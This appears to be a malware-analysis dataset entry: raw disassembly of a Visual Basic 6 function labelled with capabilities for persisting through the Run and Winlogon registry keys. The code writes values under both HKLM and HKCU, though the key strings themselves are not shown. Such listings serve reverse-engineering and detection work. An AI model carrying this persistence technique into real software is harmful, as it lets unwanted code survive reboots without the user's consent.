Function at 0x41c350
Capabilities:
Persist via run registry key
Persist via winlogon helper dll registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x401526
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
push ebx
push esi
push edi
mov dword [ebp - 8], esp
mov dword [ebp - 4], 0x4014e8
mov esi, dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
xor eax, eax
mov edx, 0x416654
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], eax
call esi
mov edx, 0x4165f4
lea ecx, [ebp - 0x14]
call esi
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x14]
push eax
lea edx, [ebp - 0x30]
push ecx
push edx
mov dword [ebp - 0x30], 0x80000002
call fcn.0041ca70
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x14]
push eax
push ecx
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
mov ebx, dword [sym.imp.MSVBVM60.DLL___vbaStrI2]
add esp, 0xc
push 1
call ebx
mov edi, dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, eax
lea ecx, [ebp - 0x20]
call edi
push 4
call ebx
mov edx, eax
lea ecx, [ebp - 0x1c]
call edi
mov edx, 0x4166e4
lea ecx, [ebp - 0x18]
call esi
mov edx, 0x416668
lea ecx, [ebp - 0x14]
call esi
lea edx, [ebp - 0x20]
lea eax, [ebp - 0x1c]
push edx
lea ecx, [ebp - 0x18]
push eax
lea edx, [ebp - 0x14]
push ecx
lea eax, [ebp - 0x30]
push edx
push eax
mov dword [ebp - 0x30], 0x80000001
call fcn.00419300
lea ecx, [ebp - 0x20]
lea edx, [ebp - 0x1c]
push ecx
lea eax, [ebp - 0x18]
push edx
lea ecx, [ebp - 0x14]
push eax
push ecx
push 4
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x14
mov edx, 0x4155b4
lea ecx, [ebp - 0x20]
call esi
push 1
call ebx
mov edx, eax
lea ecx, [ebp - 0x1c]
call edi
mov edx, 0x416754
lea ecx, [ebp - 0x18]
call esi
mov edx, 0x4166fc
lea ecx, [ebp - 0x14]
call esi
lea edx, [ebp - 0x20]
lea eax, [ebp - 0x1c]
push edx
lea ecx, [ebp - 0x18]
push eax
lea edx, [ebp - 0x14]
push ecx
lea eax, [ebp - 0x30]
push edx
push eax
mov dword [ebp - 0x30], 0x80000001
call fcn.00419300
lea ecx, [ebp - 0x20]
lea edx, [ebp - 0x1c]
push ecx
lea eax, [ebp - 0x18]
push edx
lea ecx, [ebp - 0x14]
push eax
push ecx
push 4
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x14
mov edx, 0x4155b4
lea ecx, [ebp - 0x20]
call esi
push 1
call ebx
mov edx, eax
lea ecx, [ebp - 0x1c]
call edi
mov edx, 0x4165d8
lea ecx, [ebp - 0x18]
call esi
mov edx, 0x416770
lea ecx, [ebp - 0x14]
call esi
lea edx, [ebp - 0x20]
lea eax, [ebp - 0x1c]
push edx
lea ecx, [ebp - 0x18]
push eax
lea edx, [ebp - 0x14]
push ecx
lea eax, [ebp - 0x30]
push edx
push eax
mov dword [ebp - 0x30], 0x80000001
call fcn.00419300
lea ecx, [ebp - 0x20]
lea edx, [ebp - 0x1c]
push ecx
lea eax, [ebp - 0x18]
push edx
lea ecx, [ebp - 0x14]
push eax
push ecx
push 4
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x14
mov edx, 0x4155b4
lea ecx, [ebp - 0x20]
call esi
push 1
call ebx
mov edx, eax
lea ecx, [ebp - 0x1c]
call edi
mov edx, 0x4165d8
lea ecx, [ebp - 0x18]
call esi
mov edx, 0x4167c0
lea ecx, [ebp - 0x14]
call esi
lea edx, [ebp - 0x20]
lea eax, [ebp - 0x1c]
push edx
lea ecx, [ebp - 0x18]
push eax
lea edx, [ebp - 0x14]
push ecx
lea eax, [ebp - 0x30]
push edx
push eax
mov dword [ebp - 0x30], 0x80000001
call fcn.00419300
lea ecx, [ebp - 0x20]
lea edx, [ebp - 0x1c]
push ecx
lea eax, [ebp - 0x18]
push edx
lea ecx, [ebp - 0x14]
push eax
push ecx
push 4
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x14
push 1
call ebx
mov edx, eax
lea ecx, [ebp - 0x20]
call edi
push 4
call ebx
mov edx, eax
lea ecx, [ebp - 0x1c]
call edi
mov edx, 0x416894
lea ecx, [ebp - 0x18]
call esi
mov edx, 0x41681c
lea ecx, [ebp - 0x14]
call esi
lea edx, [ebp - 0x20]
lea eax, [ebp - 0x1c]
push edx
lea ecx, [ebp - 0x18]
push eax
lea edx, [ebp - 0x14]
push ecx
lea eax, [ebp - 0x30]
push edx
push eax
mov dword [ebp - 0x30], 0x80000001
call fcn.00419300
lea ecx, [ebp - 0x20]
lea edx, [ebp - 0x1c]
push ecx
lea eax, [ebp - 0x18]
push edx
lea ecx, [ebp - 0x14]
push eax
push ecx
push 4
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x14
push 0x416940
call fcn.00419490
mov edx, eax
lea ecx, [ebp - 0x14]
call edi
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x18]
call edi
push eax
push 0x415c04
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x1c]
call edi
push eax
push 0x41567c
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x2c]
call edi
push 1
call ebx
mov edx, eax
lea ecx, [ebp - 0x28]
call edi
mov edx, 0x416928
lea ecx, [ebp - 0x24]
call esi
mov edx, 0x4168b8
lea ecx, [ebp - 0x20]
call esi
lea edx, [ebp - 0x2c]
lea eax, [ebp - 0x28]
push edx
lea ecx, [ebp - 0x24]
push eax
lea edx, [ebp - 0x20]
push ecx
lea eax, [ebp - 0x30]
push edx
push eax
mov dword [ebp - 0x30], 0x80000002
call fcn.00419300
lea ecx, [ebp - 0x2c]
lea edx, [ebp - 0x28]
push ecx
lea eax, [ebp - 0x24]
push edx
lea ecx, [ebp - 0x20]
push eax
lea edx, [ebp - 0x1c]
push ecx
lea eax, [ebp - 0x18]
push edx
lea ecx, [ebp - 0x14]
push eax
push ecx
push 7
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x20
push 0x416970
call fcn.00419490
mov edx, eax
lea ecx, [ebp - 0x14]
call edi
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x18]
call edi
push eax
push 0x415c04
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x1c]
call edi
push eax
push 0x41567c
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x2c]
call edi
push 1
call ebx
mov edx, eax
lea ecx, [ebp - 0x28]
call edi
mov edx, 0x416960
lea ecx, [ebp - 0x24]
call esi
mov edx, 0x4168b8
lea ecx, [ebp - 0x20]
call esi
mov dword [ebp - 0x30], 0x80000002
lea edx, [ebp - 0x2c]
lea eax, [ebp - 0x28]
push edx
lea ecx, [ebp - 0x24]
push eax
lea edx, [ebp - 0x20]
push ecx
lea eax, [ebp - 0x30]
push edx
push eax
call fcn.00419300
lea ecx, [ebp - 0x2c]
lea edx, [ebp - 0x28]
push ecx
lea eax, [ebp - 0x24]
push edx
lea ecx, [ebp - 0x20]
push eax
lea edx, [ebp - 0x1c]
push ecx
lea eax, [ebp - 0x18]
push edx
lea ecx, [ebp - 0x14]
push eax
push ecx
push 7
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x20
call fcn.00419490
mov edx, eax
lea ecx, [ebp - 0x14]
call edi
push eax
push 0x415c04
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x18]
call edi
push eax
push 0x415694
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x28]
call edi
push 1
call ebx
mov edx, eax
lea ecx, [ebp - 0x24]
call edi
mov edx, 0x4169e8
lea ecx, [ebp - 0x20]
call esi
mov edx, 0x416990
lea ecx, [ebp - 0x1c]
call esi
lea edx, [ebp - 0x28]
lea eax, [ebp - 0x24]
push edx
lea ecx, [ebp - 0x20]
push eax
lea edx, [ebp - 0x1c]
push ecx
lea eax, [ebp - 0x30]
push edx
push eax
mov dword [ebp - 0x30], 0x80000002
call fcn.00419300
lea ecx, [ebp - 0x28]
lea edx, [ebp - 0x24]
push ecx
lea eax, [ebp - 0x20]
push edx
lea ecx, [ebp - 0x1c]
push eax
lea edx, [ebp - 0x18]
push ecx
lea eax, [ebp - 0x14]
push edx
push eax
push 6
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x1c
push 2
call ebx
mov edx, eax
lea ecx, [ebp - 0x20]
call edi
push 4
call ebx
mov edx, eax
lea ecx, [ebp - 0x1c]
call edi
mov edx, 0x416a88
lea ecx, [ebp - 0x18]
call esi
mov edx, 0x416a0c
lea ecx, [ebp - 0x14]
call esi
lea ecx, [ebp - 0x20]
lea edx, [ebp - 0x1c]
push ecx
lea eax, [ebp - 0x18]
push edx
lea ecx, [ebp - 0x14]
push eax
lea edx, [ebp - 0x30]
push ecx
push edx
mov dword [ebp - 0x30], 0x80000001
call fcn.00419300
lea eax, [ebp - 0x20]
lea ecx, [ebp - 0x1c]
push eax
lea edx, [ebp - 0x18]
push ecx
lea eax, [ebp - 0x14]
push edx
push eax
push 4
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x14
push 1
call ebx
mov edx, eax
lea ecx, [ebp - 0x20]
call edi
push 4
call ebx
mov edx, eax
lea ecx, [ebp - 0x1c]
call edi
mov edx, 0x416a9c
lea ecx, [ebp - 0x18]
call esi
mov edx, 0x416a0c
lea ecx, [ebp - 0x14]
call esi
lea ecx, [ebp - 0x20]
lea edx, [ebp - 0x1c]
push ecx
lea eax, [ebp - 0x18]
push edx
lea ecx, [ebp - 0x14]
push eax
lea edx, [ebp - 0x30]
push ecx
push edx
mov dword [ebp - 0x30], 0x80000001
call fcn.00419300
lea eax, [ebp - 0x20]
lea ecx, [ebp - 0x1c]
push eax
lea edx, [ebp - 0x18]
push ecx
lea eax, [ebp - 0x14]
push edx
push eax
push 4
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x14
push 1
call ebx
mov edx, eax
lea ecx, [ebp - 0x20]
call edi
push 4
call ebx
mov edx, eax
lea ecx, [ebp - 0x1c]
call edi
mov edx, 0x416b34
lea ecx, [ebp - 0x18]
call esi
mov edx, 0x416ab8
lea ecx, [ebp - 0x14]
call esi
lea ecx, [ebp - 0x20]
lea edx, [ebp - 0x1c]
push ecx
lea eax, [ebp - 0x18]
push edx
lea ecx, [ebp - 0x14]
push eax
lea edx, [ebp - 0x30]
push ecx
push edx
mov dword [ebp - 0x30], 0x80000001
call fcn.00419300
lea eax, [ebp - 0x20]
lea ecx, [ebp - 0x1c]
push eax
lea edx, [ebp - 0x18]
push ecx
lea eax, [ebp - 0x14]
push edx
push eax
push 4
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x14
push 1
call ebx
mov edx, eax
lea ecx, [ebp - 0x20]
call edi
push 4
call ebx
mov edx, eax
lea ecx, [ebp - 0x1c]
call edi
mov edx, 0x416b34
lea ecx, [ebp - 0x18]
call esi
mov edx, 0x416ab8
lea ecx, [ebp - 0x14]
call esi
lea ecx, [ebp - 0x20]
lea edx, [ebp - 0x1c]
push ecx
lea eax, [ebp - 0x18]
push edx
lea ecx, [ebp - 0x14]
push eax
lea edx, [ebp - 0x30]
push ecx
push edx
mov dword [ebp - 0x30], 0x80000002
call fcn.00419300
lea eax, [ebp - 0x20]
lea ecx, [ebp - 0x1c]
push eax
lea edx, [ebp - 0x18]
push ecx
lea eax, [ebp - 0x14]
push edx
push eax
push 4
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x14
push 1
call ebx
mov edx, eax
lea ecx, [ebp - 0x20]
call edi
push 4
call ebx
mov edx, eax
lea ecx, [ebp - 0x1c]
call edi
mov edx, 0x416b58
lea ecx, [ebp - 0x18]
call esi
mov edx, 0x416ab8
lea ecx, [ebp - 0x14]
call esi
lea ecx, [ebp - 0x20]
lea edx, [ebp - 0x1c]
push ecx
lea eax, [ebp - 0x18]
push edx
lea ecx, [ebp - 0x14]
push eax
lea edx, [ebp - 0x30]
push ecx
push edx
mov dword [ebp - 0x30], 0x80000001
call fcn.00419300
lea eax, [ebp - 0x20]
lea ecx, [ebp - 0x1c]
push eax
lea edx, [ebp - 0x18]
push ecx
lea eax, [ebp - 0x14]
push edx
push eax
push 4
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x14
push 1
call ebx
mov edx, eax
lea ecx, [ebp - 0x20]
call edi
push 4
call ebx
mov edx, eax
lea ecx, [ebp - 0x1c]
call edi
mov edx, 0x416bd8
lea ecx, [ebp - 0x18]
call esi
mov edx, 0x416b68
lea ecx, [ebp - 0x14]
call esi
lea ecx, [ebp - 0x20]
lea edx, [ebp - 0x1c]
push ecx
lea eax, [ebp - 0x18]
push edx
lea ecx, [ebp - 0x14]
push eax
lea edx, [ebp - 0x30]
push ecx
push edx
mov dword [ebp - 0x30], 0x80000002
call fcn.00419300
lea eax, [ebp - 0x20]
lea ecx, [ebp - 0x1c]
push eax
lea edx, [ebp - 0x18]
push ecx
lea eax, [ebp - 0x14]
push edx
push eax
push 4
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x14
push 0x41ca52
jmp 0x41ca51
ret